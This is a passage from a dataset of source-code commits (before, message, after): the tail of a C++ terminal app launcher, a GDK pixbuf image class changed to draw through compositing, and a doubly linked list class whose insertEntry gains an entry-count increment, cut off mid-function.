1]);\n\t\t\tinit_display();\n\t\t\tinit_color();\n\t\t}\n\t}\n}\n\nint app_start(int number_of_app, char** argv) {\n\tstd::string name_app\t= configurator(APPS_FILE, str(number_of_app) + \"_app_launcher\", \"\", false);\n\tstd::string path_to_dir\t= configurator(APPS_FILE, str(number_of_app) + \"_app_path\", \"\", false);\n\terase();\n\tendwin();\n\n\tint\t\tstatus;\n\tpid_t\tchpid\t= fork();\n\n\tjob j = {\n\t\t.name = configurator(APPS_FILE, str(number_of_app) + \"_app_package_name\", \"\", false),\n\t\t.pid = chpid\n\t};\n\n\tj.running = true;\n\n\t\/\/ В запущенных процессов список процесс помещаем мы\n\tapps_vect.insert(apps_vect.end(), j);\n\n\tif (chpid == 0) {\n\t\tsignal(SIGTTIN, SIG_IGN);\n\t\tsignal(SIGTTOU, SIG_IGN);\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\tchdir(path_to_dir.c_str());\n\t\tsetpgid(getpid(), getpid());\t\t\t \t\/\/ Создаём группу процессов\n\t\tif (execl(name_app.c_str(), \"\", NULL) == -1) \t\/\/ parent process\n\t\t\texit(0);\n\t} else {\n\t\twaitpid(chpid, &status,WUNTRACED);\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\ttcgetattr(STDIN_FILENO, &j.tmode);\n\t\ttcsetattr(STDIN_FILENO, TCSADRAIN, &hos_tmode);\n\n\t\tif (WIFSTOPPED(status)) {\t\/* Если пользователем процесс был остановлен *\/\n\t\t\tapps_vect.back().running = false;\n\t\t}\n\n\t\tif(WIFEXITED(status)) {\n\t\t\tapps_vect.pop_back();\n\t\t}\n\n\t\tinit_display();\n\t\tinit_color();\n\t}\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"config.h\"\n\n#ifdef CONFIG_GDK_PIXBUF_XLIB\n\n#include \"yimage.h\"\n#include \"yxapp.h\"\n#include \"ypixbuf.h\"\n\nextern \"C\" {\n#include <gdk-pixbuf-xlib\/gdk-pixbuf-xlib.h>\n}\n\nclass YImageGDK: public YImage {\npublic:\n    YImageGDK(int width, int height, GdkPixbuf *pixbuf): YImage(width, height) {\n        fPixbuf = pixbuf;\n    }\n    virtual ~YImageGDK() {\n        gdk_pixbuf_unref(fPixbuf);\n    }\n    virtual ref<YPixmap> renderToPixmap();\n    virtual ref<YImage> scale(int width, int height);\n    virtual void draw(Graphics &g, int dx, int dy);\n    virtual void draw(Graphics &g, int x, int y, int w, int h, int dx, int dy);\n    virtual void composite(Graphics &g, int x, int y, int w, int h, int dx, int dy);\n    virtual bool valid() const { return fPixbuf != 0; }\nprivate:\n    GdkPixbuf *fPixbuf;\n};\n\nref<YImage> YImage::create(int width, int height) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, FALSE, 8, width, height);\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(width, height, pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::load(upath filename) {\n    ref<YImage> image;\n    GError *gerror = 0;\n    GdkPixbuf *pixbuf = gdk_pixbuf_new_from_file(cstring(filename.path()).c_str(), &gerror);\n\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(gdk_pixbuf_get_width(pixbuf),\n                                 gdk_pixbuf_get_height(pixbuf),\n                                 pixbuf));\n    }\n    return image;\n}\n    \nref<YImage> YImageGDK::scale(int w, int h) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf = 0;\n    bool alpha = gdk_pixbuf_get_has_alpha(fPixbuf);\n#if 0\n    pixbuf = gdk_pixbuf_scale_simple(fPixbuf,\n                                     w, h,\n                                     GDK_INTERP_BILINEAR);\n#else\n    pixbuf = gdk_pixbuf_new(GDK_COLORSPACE_RGB, alpha, 8, w, h);\n\n    pixbuf_scale(gdk_pixbuf_get_pixels(fPixbuf),\n                 gdk_pixbuf_get_rowstride(fPixbuf),\n                 gdk_pixbuf_get_width(fPixbuf),\n                 gdk_pixbuf_get_height(fPixbuf),\n                 gdk_pixbuf_get_pixels(pixbuf),\n                 gdk_pixbuf_get_rowstride(pixbuf),\n                 gdk_pixbuf_get_width(pixbuf),\n                 gdk_pixbuf_get_height(pixbuf),\n                 alpha);\n#endif\n\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(w, h, pixbuf));\n    }\n\n    return image;\n}\n\nref<YImage> YImage::createFromPixmap(ref<YPixmap> pixmap) {\n    return createFromPixmapAndMask(pixmap->pixmap(),\n                                   pixmap->mask(),\n                                   pixmap->width(),\n                                   pixmap->height());\n}\n\nref<YImage> YImage::createFromPixmapAndMask(Pixmap pixmap, Pixmap mask,\n                                            int width, int height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n\n    if (pixbuf) {\n        pixbuf =\n            gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                              pixmap,\n                                              xlib_rgb_get_cmap(),\n                                              xlib_rgb_get_visual(),\n                                              0, 0,\n                                              0, 0,\n                                              width,\n                                              height);\n\n        if (mask != None) {\n            XImage *image = XGetImage(xapp->display(), mask,\n                                      0, 0, width, height,\n                                      AllPlanes, ZPixmap);\n            guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n            if (image) {\n                \/\/unsigned char *pix = image->data;\n                for (int r = 0; r < height; r++) {\n                    for (int c = 0; c < width; c++) {\n                        unsigned int pix = XGetPixel(image, c, r);\n                        pixels[c * 4 + 3] = pix ? 255 : 0;\n                    }\n                    pixels += gdk_pixbuf_get_rowstride(pixbuf);\n                    \/\/pix += image->bytes_per_line;\n                }\n                XDestroyImage(image);\n            }\n        }\n\n        image.init(new YImageGDK(width,\n                                 height,\n                                 pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::createFromIconProperty(long *prop_pixels,\n                                           int width, int height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n    if (!pixbuf)\n        return null;\n\n    guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n    for (int r = 0; r < height; r++) {\n        for (int c = 0; c < width; c++) {\n            unsigned long pix =\n                prop_pixels[c + r * width];\n#warning \"check if byteorder switching is needed\"\n            pixels[c * 4 + 2] = pix & 0xFF;\n            pixels[c * 4 + 1] = (pix >> 8) & 0xFF;\n            pixels[c * 4] = (pix >> 16) & 0xFF;\n            pixels[c * 4 + 3] = (pix >> 24) & 0xFF;\n        }\n        pixels += gdk_pixbuf_get_rowstride(pixbuf);\n    }\n    image.init(new YImageGDK(width,\n                             height,\n                             pixbuf));\n    return image;\n}\n\nref<YImage> YImage::createFromPixmapAndMaskScaled(Pixmap pix, Pixmap mask,\n                                                  int width, int height,\n                                                  int nw, int nh)\n{\n    ref<YImage> image = createFromPixmapAndMask(pix, mask, width, height);\n    if (image != null)\n        image = image->scale(nw, nh);\n    return image;\n}\n\nref<YPixmap> YImageGDK::renderToPixmap() {\n    Pixmap pixmap = None, mask = None;\n    gdk_pixbuf_xlib_render_pixmap_and_mask(fPixbuf, &pixmap, &mask, 128);\n\n    return createPixmap(pixmap, mask,\n                        gdk_pixbuf_get_width(fPixbuf),\n                        gdk_pixbuf_get_height(fPixbuf));\n}\n\nref<YPixmap> YImage::createPixmap(Pixmap pixmap, Pixmap mask, int w, int h) {\n    ref<YPixmap> n;\n\n    n.init(new YPixmap(pixmap, mask, w, h));\n    return n;\n}\n\nvoid YImageGDK::draw(Graphics &g, int dx, int dy) {\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             0, 0, dx, dy, width(), height(),\n                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n}\n\nvoid YImageGDK::draw(Graphics &g, int x, int y, int w, int h, int dx, int dy) {\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             x, y, dx, dy, w, h,\n                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n}\n\nvoid YImageGDK::composite(Graphics &g, int x, int y, int w, int h, int dx, int dy) {\n    \/\/msg(\"composite %d %d %d %d | %d %d\", x, y, w, h, dx, dy);\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8, w, h);\n    gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                      g.drawable(),\n                                      xapp->colormap(),\n                                      xapp->visual(),\n                                      dx, dy, 0, 0, w, h);\n    gdk_pixbuf_composite(fPixbuf, pixbuf,\n                         0, 0, w, h,\n                         -x, -y, 1.0, 1.0,\n                         GDK_INTERP_BILINEAR, 255);\n    gdk_pixbuf_xlib_render_to_drawable(pixbuf, g.drawable(), g.handleX(),\n                                             0, 0, dx, dy, w, h,\n\/\/                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NONE, 0, 0);\n    gdk_pixbuf_unref(pixbuf);\n}\n\n\nvoid image_init() {\n    g_type_init();\n    xlib_rgb_init(xapp->display(), ScreenOfDisplay(xapp->display(), xapp->screen()));\n    gdk_pixbuf_xlib_init(xapp->display(), xapp->screen());\n}\n\n#endif\n<commit_msg>always use compositing for image drawing<commit_after>#include \"config.h\"\n\n#ifdef CONFIG_GDK_PIXBUF_XLIB\n\n#include \"yimage.h\"\n#include \"yxapp.h\"\n#include \"ypixbuf.h\"\n\nextern \"C\" {\n#include <gdk-pixbuf-xlib\/gdk-pixbuf-xlib.h>\n}\n\nclass YImageGDK: public YImage {\npublic:\n    YImageGDK(int width, int height, GdkPixbuf *pixbuf): YImage(width, height) {\n        fPixbuf = pixbuf;\n    }\n    virtual ~YImageGDK() {\n        gdk_pixbuf_unref(fPixbuf);\n    }\n    virtual ref<YPixmap> renderToPixmap();\n    virtual ref<YImage> scale(int width, int height);\n    virtual void draw(Graphics &g, int dx, int dy);\n    virtual void draw(Graphics &g, int x, int y, int w, int h, int dx, int dy);\n    virtual void composite(Graphics &g, int x, int y, int w, int h, int dx, int dy);\n    virtual bool valid() const { return fPixbuf != 0; }\nprivate:\n    GdkPixbuf *fPixbuf;\n};\n\nref<YImage> YImage::create(int width, int height) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, FALSE, 8, width, height);\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(width, height, pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::load(upath filename) {\n    ref<YImage> image;\n    GError *gerror = 0;\n    GdkPixbuf *pixbuf = gdk_pixbuf_new_from_file(cstring(filename.path()).c_str(), &gerror);\n\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(gdk_pixbuf_get_width(pixbuf),\n                                 gdk_pixbuf_get_height(pixbuf),\n                                 pixbuf));\n    }\n    return image;\n}\n    \nref<YImage> YImageGDK::scale(int w, int h) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf = 0;\n    bool alpha = gdk_pixbuf_get_has_alpha(fPixbuf);\n#if 0\n    pixbuf = gdk_pixbuf_scale_simple(fPixbuf,\n                                     w, h,\n                                     GDK_INTERP_BILINEAR);\n#else\n    pixbuf = gdk_pixbuf_new(GDK_COLORSPACE_RGB, alpha, 8, w, h);\n\n    pixbuf_scale(gdk_pixbuf_get_pixels(fPixbuf),\n                 gdk_pixbuf_get_rowstride(fPixbuf),\n                 gdk_pixbuf_get_width(fPixbuf),\n                 gdk_pixbuf_get_height(fPixbuf),\n                 gdk_pixbuf_get_pixels(pixbuf),\n                 gdk_pixbuf_get_rowstride(pixbuf),\n                 gdk_pixbuf_get_width(pixbuf),\n                 gdk_pixbuf_get_height(pixbuf),\n                 alpha);\n#endif\n\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(w, h, pixbuf));\n    }\n\n    return image;\n}\n\nref<YImage> YImage::createFromPixmap(ref<YPixmap> pixmap) {\n    return createFromPixmapAndMask(pixmap->pixmap(),\n                                   pixmap->mask(),\n                                   pixmap->width(),\n                                   pixmap->height());\n}\n\nref<YImage> YImage::createFromPixmapAndMask(Pixmap pixmap, Pixmap mask,\n                                            int width, int height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n\n    if (pixbuf) {\n        pixbuf =\n            gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                              pixmap,\n                                              xlib_rgb_get_cmap(),\n                                              xlib_rgb_get_visual(),\n                                              0, 0,\n                                              0, 0,\n                                              width,\n                                              height);\n\n        if (mask != None) {\n            XImage *image = XGetImage(xapp->display(), mask,\n                                      0, 0, width, height,\n                                      AllPlanes, ZPixmap);\n            guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n            if (image) {\n                \/\/unsigned char *pix = image->data;\n                for (int r = 0; r < height; r++) {\n                    for (int c = 0; c < width; c++) {\n                        unsigned int pix = XGetPixel(image, c, r);\n                        pixels[c * 4 + 3] = pix ? 255 : 0;\n                    }\n                    pixels += gdk_pixbuf_get_rowstride(pixbuf);\n                    \/\/pix += image->bytes_per_line;\n                }\n                XDestroyImage(image);\n            }\n        }\n\n        image.init(new YImageGDK(width,\n                                 height,\n                                 pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::createFromIconProperty(long *prop_pixels,\n                                           int width, int height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n    if (!pixbuf)\n        return null;\n\n    guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n    for (int r = 0; r < height; r++) {\n        for (int c = 0; c < width; c++) {\n            unsigned long pix =\n                prop_pixels[c + r * width];\n#warning \"check if byteorder switching is needed\"\n            pixels[c * 4 + 2] = pix & 0xFF;\n            pixels[c * 4 + 1] = (pix >> 8) & 0xFF;\n            pixels[c * 4] = (pix >> 16) & 0xFF;\n            pixels[c * 4 + 3] = (pix >> 24) & 0xFF;\n        }\n        pixels += gdk_pixbuf_get_rowstride(pixbuf);\n    }\n    image.init(new YImageGDK(width,\n                             height,\n                             pixbuf));\n    return image;\n}\n\nref<YImage> YImage::createFromPixmapAndMaskScaled(Pixmap pix, Pixmap mask,\n                                                  int width, int height,\n                                                  int nw, int nh)\n{\n    ref<YImage> image = createFromPixmapAndMask(pix, mask, width, height);\n    if (image != null)\n        image = image->scale(nw, nh);\n    return image;\n}\n\nref<YPixmap> YImageGDK::renderToPixmap() {\n    Pixmap pixmap = None, mask = None;\n    gdk_pixbuf_xlib_render_pixmap_and_mask(fPixbuf, &pixmap, &mask, 128);\n\n    return createPixmap(pixmap, mask,\n                        gdk_pixbuf_get_width(fPixbuf),\n                        gdk_pixbuf_get_height(fPixbuf));\n}\n\nref<YPixmap> YImage::createPixmap(Pixmap pixmap, Pixmap mask, int w, int h) {\n    ref<YPixmap> n;\n\n    n.init(new YPixmap(pixmap, mask, w, h));\n    return n;\n}\n\nvoid YImageGDK::draw(Graphics &g, int dx, int dy) {\n#if 1\n    composite(g, 0, 0, width(), height(), dx, dy);\n#else\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             0, 0, dx, dy, width(), height(),\n                                             GDK_PIXBUF_ALPHA_FULL,\n                                             128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n#endif\n}\n\nvoid YImageGDK::draw(Graphics &g, int x, int y, int w, int h, int dx, int dy) {\n#if 1\n    composite(g, x, y, w, h, dx, dy);\n#else\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             x, y, dx, dy, w, h,\n                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n#endif\n}\n\nvoid YImageGDK::composite(Graphics &g, int x, int y, int w, int h, int dx, int dy) {\n    \/\/msg(\"composite %d %d %d %d | %d %d\", x, y, w, h, dx, dy);\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8, w, h);\n    gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                      g.drawable(),\n                                      xapp->colormap(),\n                                      xapp->visual(),\n                                      dx, dy, 0, 0, w, h);\n    gdk_pixbuf_composite(fPixbuf, pixbuf,\n                         0, 0, w, h,\n                         -x, -y, 1.0, 1.0,\n                         GDK_INTERP_BILINEAR, 255);\n    gdk_pixbuf_xlib_render_to_drawable(pixbuf, g.drawable(), g.handleX(),\n                                             0, 0, dx, dy, w, h,\n\/\/                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NONE, 0, 0);\n    gdk_pixbuf_unref(pixbuf);\n}\n\n\nvoid image_init() {\n    g_type_init();\n    xlib_rgb_init(xapp->display(), ScreenOfDisplay(xapp->display(), xapp->screen()));\n    gdk_pixbuf_xlib_init(xapp->display(), xapp->screen());\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"atList.h++\"\n\n\natList::atList()\n{\n   \/\/ Initialize the doubly-linked list\n   list_head = NULL;\n   list_tail = NULL;\n   num_entries = 0;\n\n   \/\/ We haven't started traversing the list\n   current_entry = NULL;\n   next_entry = list_head;\n}\n\n\natList::~atList()\n{\n   atListEntry *  current;\n   atListEntry *  old;\n\n   \/\/ Go through the list and delete the items and entries\n   current = list_head;\n   while (current != NULL)\n   {\n      \/\/ Delete the item if it exists\n      if (current->item != NULL)\n         delete current->item;\n\n      \/\/ Save a pointer to this entry\n      old = current;\n\n      \/\/ Move to the next entry\n      current = current->next;\n\n      \/\/ Free the old one of which we saved a pointer\n      free(old);\n   }\n}\n\n\nu_long atList::getNumEntries()\n{\n   return num_entries;\n}\n\n\nbool atList::addEntry(atItem * item)\n{\n   atListEntry   *newEntry;\n                                                                                \n   \/\/ Create a new entry for this item in the list\n   newEntry = (atListEntry *) calloc(1, sizeof(atListEntry));\n   if (newEntry == NULL)\n   {\n      \/\/ We failed to allocate the memory so tell user and return a failure\n      notify(AT_WARN, \"Unable to allocate memory in List.\\n\");\n      return false;\n   }\n   else\n   {\n      \/\/ Set the fields of the new entry\n      newEntry->item = item;\n      newEntry->next = NULL;\n      newEntry->previous = NULL;\n                                                                                \n      \/\/ Add the new entry to the end of the list\n      if (list_head == NULL)\n      {\n         \/\/ Adding only entry in list\n         list_head = newEntry;\n         list_tail = newEntry;\n      }\n      else\n      {\n         \/\/ Just adding it to end of list\n         list_tail->next = newEntry;\n         newEntry->previous = list_tail;\n         list_tail = newEntry;\n      }\n\n      \/\/ Increment the number of entries since we just added one\n      num_entries++;\n                                                                                \n      \/\/ Return success\n      return true;\n   }\n}\n\n\nbool atList::insertEntry(atItem * item)\n{\n   atListEntry *   newEntry;\n\n   \/\/ If we don't have a current node but we do have nodes, return a failure\n   \/\/ since we do not know where to insert the node\n   if ( (current_entry == NULL) && (list_head != NULL) )\n      return false;\n   else\n   {\n      \/\/ Create a new entry for this item in the list\n      newEntry = (atListEntry *) calloc(1, sizeof(atListEntry));\n      if (newEntry == NULL)\n      {\n         \/\/ We failed to allocate the memory so tell user and return a failure\n         notify(AT_WARN, \"Unable to allocate memory in List.\\n\");\n         return false;\n      }\n      else\n      {\n         \/\/ Set the fields of the new entry\n         newEntry->item = item;\n         newEntry->next = NULL;\n         newEntry->previous = NULL;\n      }\n                                                                                \n      \/\/ Insert the entry *before* the current node\n      if (list_head == NULL)\n      {\n         \/\/ We are inserting into an empty list\n         list_head = newEntry;\n         list_tail = newEntry;\n      }\n      else if (current_entry->previous == NULL)\n      {\n         \/\/ We are inserting in front of the first node so update the head\n         current_entry->previous = newEntry;\n         newEntry->next = current_entry;\n         list_head = newEntry;\n      }\n      else\n      {\n         \/\/ We are inserting at the middle of the list (because we insert\n         \/\/ *before*, we never have the case at the very end of the list)\n         current_entry->previous->next = newEntry;\n         newEntry->previous = current_entry->previous;\n         current_entry->previous = newEntry;\n         newEntry->next = current_entry;\n      }\n\n      \/\/ We succeeded\n      return true;\n   }\n}\n\n\nbool atList::removeCurrentEntry()\n{\n   atListEntry *  old;\n\n   \/\/ If we don't have a current node, return a failure\n   if (current_entry == NULL)\n      return false;\n   else\n   {\n      \/\/ Take the node out of the list (but handle special case of being\n      \/\/ at the first node in the list)\n      if (current_entry->previous == NULL)\n      {\n         \/\/ We are removing the first node so move the head pointer\n         list_head = current_entry->next;\n\n         \/\/ Now we need to fix the back pointer (previous pointer) of the\n         \/\/ new first node but only if it exists of course (i.e. make sure\n         \/\/ we didn't just remove the ONLY node)\n         if (current_entry->next != NULL)\n         {\n            \/\/ We have another node so set its \"previous\" pointer to NULL\n            \/\/ so it knows it's the front of the list\n            current_entry->next->previous = NULL;\n         }\n         else\n         {\n            \/\/ We're also removing the last node (must be the only node) so\n            \/\/ we need to fix the tail pointer\n            list_tail = NULL;\n         }\n      }\n      else\n      {\n         \/\/ Otherwise, we are removing a node that isn't first so the\n         \/\/ general approach works (put in the new forward link and\n         \/\/ and then fix the back link if we have a node (i.e. we aren't\n         \/\/ removing the last node in the list)\n         current_entry->previous->next = current_entry->next;\n         if (current_entry->next != NULL)\n            current_entry->next->previous = current_entry->previous;\n      }\n\n      \/\/ Save a pointer to the structure holding this item\n      old = current_entry;\n\n      \/\/ Check for head and tail issues for the \"current entry\"\n      if (current_entry->previous == NULL)\n      {\n         \/\/ We removed the first node but the head is already okay\n\n         \/\/ But it could be the only node too\n         if (current_entry->next == NULL)\n            list_tail = NULL;\n\n         \/\/ Set the traversals\n         next_entry = list_head;\n         current_entry = NULL;\n      }\n      else if (current_entry->next == NULL)\n      {\n         \/\/ We removed the last node so fix the tail and set current and\n         \/\/ next as being done with the list\n         list_tail = current_entry->previous;\n         current_entry = NULL;\n         next_entry = NULL;\n      }\n      else\n      {\n         \/\/ We're removing a node in the middle\n         next_entry = current_entry->next;\n         current_entry = NULL;\n      }\n                                                                                \n      \/\/ Free up the structure from the list\n      free(old);\n\n      \/\/ Remove one from our counter since we just took out a node\n      num_entries--;\n                                                                                \n      \/\/ Return success\n      return true;\n   }\n}\n\n\nbool atList::removeAllEntries()\n{\n   \/\/ We'll do this by calling removeCurrentEntry() for each entry in\n   \/\/ the list (since we're removing all entries, it won't matter that\n   \/\/ we're messing with the current_entry pointer)\n   while (list_head != NULL)\n   {\n       current_entry = list_head;\n       removeCurrentEntry();\n   }\n\n   \/\/ Set traversal pointers\n   current_entry = NULL;\n   next_entry = NULL;\n\n   \/\/ Return success\n   return true;\n}\n\n\natItem * atList::getFirstEntry()\n{\n   \/\/ Go to the first node (if it exists)\n   current_entry = list_head;\n   if (list_head != NULL)\n      next_entry = list_head->next;\n   else\n      next_entry = NULL;\n           \n   \/\/ If we have a first node, return the item stored in it\n   if (current_entry != NULL)\n      return current_entry->item;\n   else\n      return NULL;\n}\n\n\natItem * atList::getNextEntry()\n{\n   \/\/ If there is a next node, move on and return it\n   if (next_entry != NULL)\n   {\n      \/\/ Advance\n      current_entry = next_entry;\n      next_entry = current_entry->next;\n\n      \/\/ Return the item\n      return current_entry->item;\n   }\n   else\n      return NULL;\n}\n\n\natItem * atList::getPreviousEntry()\n{\n   \/\/ If we aren't at the beginning of the list, go to the previous node\n   if (current_entry != NULL)\n      current_entry = current_entry->previous;\n                                                                                \n   \/\/ If we have a new node, return its item\n   if (current_entry != NULL)\n      return current_entry->item;\n   else\n      return NULL;\n}\n\n\natItem * atList::getLastEntry()\n{\n   \/\/ Go to the last node (if it exists)\n   current_entry = list_tail;\n   next_entry = NULL;\n           \n   \/\/ If we have a first node, return the item stored in it\n   if (current_entry != NULL)\n      return current_entry->item;\n   else\n      return NULL;\n}\n\n\natItem * atList::getNthEntry(u_long n)\n{\n   u_long count;\n\n   \/\/ Walk the list until we reach the n'th element\n   count = 0;\n   getFirstEntry();\n   while ((count < n) && (current_entry != NULL))\n   {\n       \/\/ Increment the count\n       count++;\n\n       \/\/ Advance the current entry pointer\n       getNextEntry();\n   }\n\n   \/\/ If the current_entry is NULL (the index is greater than the number\n   \/\/ of elements in the list), return NULL\n   if (current_entry == NULL)\n      return NULL;\n\n   \/\/ Otherwise, return the item at the given list entry\n   return current_entry->item;\n}\n\n\natItem * atList::findEntry(atItem * item)\n{\n   atItem *currentItem;\n\n   \/\/ Walk the list until we find an item in the list that matches the given\n   \/\/ item (according to the item's equals() method)\n   currentItem = getFirstEntry();\n   while ((currentItem != NULL) && (!currentItem->equals(item)))\n       currentItem = getNextEntry();\n\n   \/\/ Return the item we found, or NULL if we didn't find it\n   return currentItem;\n}\n<commit_msg>Fix bug where insertEntry() was not incrementing the counter of the number of entries.<commit_after>\n#include \"atList.h++\"\n\n\natList::atList()\n{\n   \/\/ Initialize the doubly-linked list\n   list_head = NULL;\n   list_tail = NULL;\n   num_entries = 0;\n\n   \/\/ We haven't started traversing the list\n   current_entry = NULL;\n   next_entry = list_head;\n}\n\n\natList::~atList()\n{\n   atListEntry *  current;\n   atListEntry *  old;\n\n   \/\/ Go through the list and delete the items and entries\n   current = list_head;\n   while (current != NULL)\n   {\n      \/\/ Delete the item if it exists\n      if (current->item != NULL)\n         delete current->item;\n\n      \/\/ Save a pointer to this entry\n      old = current;\n\n      \/\/ Move to the next entry\n      current = current->next;\n\n      \/\/ Free the old one of which we saved a pointer\n      free(old);\n   }\n}\n\n\nu_long atList::getNumEntries()\n{\n   return num_entries;\n}\n\n\nbool atList::addEntry(atItem * item)\n{\n   atListEntry   *newEntry;\n                                                                                \n   \/\/ Create a new entry for this item in the list\n   newEntry = (atListEntry *) calloc(1, sizeof(atListEntry));\n   if (newEntry == NULL)\n   {\n      \/\/ We failed to allocate the memory so tell user and return a failure\n      notify(AT_WARN, \"Unable to allocate memory in List.\\n\");\n      return false;\n   }\n   else\n   {\n      \/\/ Set the fields of the new entry\n      newEntry->item = item;\n      newEntry->next = NULL;\n      newEntry->previous = NULL;\n                                                                                \n      \/\/ Add the new entry to the end of the list\n      if (list_head == NULL)\n      {\n         \/\/ Adding only entry in list\n         list_head = newEntry;\n         list_tail = newEntry;\n      }\n      else\n      {\n         \/\/ Just adding it to end of list\n         list_tail->next = newEntry;\n         newEntry->previous = list_tail;\n         list_tail = newEntry;\n      }\n\n      \/\/ Increment the number of entries since we just added one\n      num_entries++;\n                                                                                \n      \/\/ Return success\n      return true;\n   }\n}\n\n\nbool atList::insertEntry(atItem * item)\n{\n   atListEntry *   newEntry;\n\n   \/\/ If we don't have a current node but we do have nodes, return a failure\n   \/\/ since we do not know where to insert the node\n   if ( (current_entry == NULL) && (list_head != NULL) )\n      return false;\n   else\n   {\n      \/\/ Create a new entry for this item in the list\n      newEntry = (atListEntry *) calloc(1, sizeof(atListEntry));\n      if (newEntry == NULL)\n      {\n         \/\/ We failed to allocate the memory so tell user and return a failure\n         notify(AT_WARN, \"Unable to allocate memory in List.\\n\");\n         return false;\n      }\n      else\n      {\n         \/\/ Set the fields of the new entry\n         newEntry->item = item;\n         newEntry->next = NULL;\n         newEntry->previous = NULL;\n      }\n                                                                                \n      \/\/ Insert the entry *before* the current node\n      if (list_head == NULL)\n      {\n         \/\/ We are inserting into an empty list\n         list_head = newEntry;\n         list_tail = newEntry;\n      }\n      else if (current_entry->previous == NULL)\n      {\n         \/\/ We are inserting in front of the first node so update the head\n         current_entry->previous = newEntry;\n         newEntry->next = current_entry;\n         list_head = newEntry;\n      }\n      else\n      {\n         \/\/ We are inserting at the middle of the list (because we insert\n         \/\/ *before*, we never have the case at the very end of the list)\n         current_entry->previous->next = newEntry;\n         newEntry->previous = current_entry->previous;\n         current_entry->previous = newEntry;\n         newEntry->next = current_entry;\n      }\n\n      \/\/ Increment the number of entries since we just added one\n      num_entries++;\n\n      \/\/ We succeeded\n      return true;\n   }\n}\n\n\nbool atList::removeCurrentEntry()\n{\n   atListEntry *  old;\n\n   \/\/ If we don't have a current node, return a failure\n   if (current_entry == NULL)\n      return false;\n   else\n   {\n      \/\/ Take the node out of the list (but handle special case of being\n      \/\/ at the first node in the list)\n      if (current_entry->previous == NULL)\n      {\n         \/\/ We are removing the first node so move the head pointer\n         list_head = current_entry->next;\n\n         \/\/ Now we need to fix the back pointer (previous pointer) of the\n         \/\/ new first node but only if it exists of course (i.e. make sure\n         \/\/ we didn't just remove the ONLY node)\n         if (current_entry->next != NULL)\n         {\n            \/\/ We have another node so set its \"previous\" pointer to NULL\n            \/\/ so it knows it's the front of the list\n            current_entry->next->previous = NULL;\n         }\n         else\n         {\n            \/\/ We're also removing the last node (must be the only node) so\n            \/\/ we need to fix the tail pointer\n            list_tail = NULL;\n         }\n      }\n      else\n      {\n         \/\/ Otherwise, we are removing a node that isn't first so the\n         \/\/ general approach works (put in the new forward link and\n         \/\/ and then fix the back link if we have a node (i.e. we aren't\n         \/\/ removing the last node in the list)\n         current_entry->previous->next = current_entry->next;\n         if (current_entry->next != NULL)\n            current_entry->next->previous = current_entry->previous;\n      }\n\n      \/\/ Save a pointer to the structure holding this item\n      old = current_entry;\n\n      \/\/ Check for head and tail issues for the \"current entry\"\n      if (current_entry->previous == NULL)\n      {\n         \/\/ We removed the first node but the head is already okay\n\n         \/\/ But it could be the only node too\n         if (current_entry->next == NULL)\n            list_tail = NULL;\n\n         \/\/ Set the traversals\n         next_entry = list_head;\n         current_entry = NULL;\n      }\n      else if 